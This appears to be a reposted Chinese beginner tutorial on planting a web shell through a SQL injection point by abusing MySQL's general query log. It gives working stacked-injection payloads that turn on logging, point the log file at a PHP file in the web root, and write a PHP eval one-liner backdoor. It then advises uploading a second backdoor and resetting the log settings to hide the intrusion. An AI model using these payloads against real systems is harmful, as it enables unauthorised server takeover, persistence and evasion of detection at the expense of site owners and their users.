【新手篇】注入点通过SQL日志写shell

  • A+
所属分类:安全文章

首先声明:如果有过滤,有waf,请百度,如果绕过!本篇只为新手写一个过程。

看了下百度上关于SQL日志写shell,全都是上来就SET 查日志、开日志、指定目录。那么怎么通过注入点去日志里写shell呢?如果是前台注入点,一般需要使用union的堆叠注入来写入shell,因为像单纯的and or union只能来做一些查询,并不能执行其他语句。

那么怎么写呢?

admin' UNION select 1,2; SET GLOBAL general_log='on'

【新手篇】注入点通过SQL日志写shell

【新手篇】注入点通过SQL日志写shell

可以看到,我们的开启日志语句也进行了执行,然后我们来看下结果

【新手篇】注入点通过SQL日志写shell

可以看到日志功能被成功的打开了。

然后我们来指定一个用于记录日志的文件,如果这个文件不存在,会创建这个文件,需要可写权限。

这里需要绝对路径,这个路径怎么得到呢,我们首先需要知道中间件是什么,然后可以通过sql注入的读取来读取一些中间件的配置文件,来获取绝对路径,比如sqlmap的--file-read去读取nginx的配置文件,如果在这里面没看到的话,还有一种可能,那就是”/usr/local/nginx/conf/vhost/网站域名.conf“这个位置。

然后我们来指定日志文件:

admin' UNION SELECT 1,2;set global general_log_file = '/Applications/phpstudy/www/123.php';

【新手篇】注入点通过SQL日志写shell

【新手篇】注入点通过SQL日志写shell

【新手篇】注入点通过SQL日志写shell

可以看到目录下生成了123.php

然后这个文件里会记录所有的sql语句,我们只需要执行语句即可,后面的select一定要加括号,不然可能因为前面有select *这样的泛解析,导致第二条语句不能执行报错。

admin' and select ('<?php eval($_POST[cmd]);?>');

【新手篇】注入点通过SQL日志写shell

然后去查看我们的日志文件:

【新手篇】注入点通过SQL日志写shell

然后可以看到文件里已经存在了一句话木马,并且为php文件,只需要根据你的绝对路径去链接shell即可,连接上以后我们一定要再上传一个一句话木马,防止这个被干掉,还需要做一件事就是把人家的日志路径给修改回去,还有关闭日志!不然业务查询量较大的话,你这个马会慢的要死!

【新手篇】注入点通过SQL日志写shell

【新手篇】注入点通过SQL日志写shell

好了~很简单的结束。


【新手篇】注入点通过SQL日志写shell






往期精彩:

【审计学习】PHP审计的危险函数概括

【超详细 | 附EXP】Weblogic 新的RCE漏洞CVE-2021-2394

【入侵检测】Linux机器中马排查思路

【入侵检测】Windows机器中马排查思路

【代码审计】对一套钓鱼网站的代码审计

  Web安全——登录页面渗透测试思路整理


【新手篇】注入点通过SQL日志写shell

点个在看你最好看


【新手篇】注入点通过SQL日志写shell

本文始发于微信公众号(Qingy之安全):【新手篇】注入点通过SQL日志写shell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: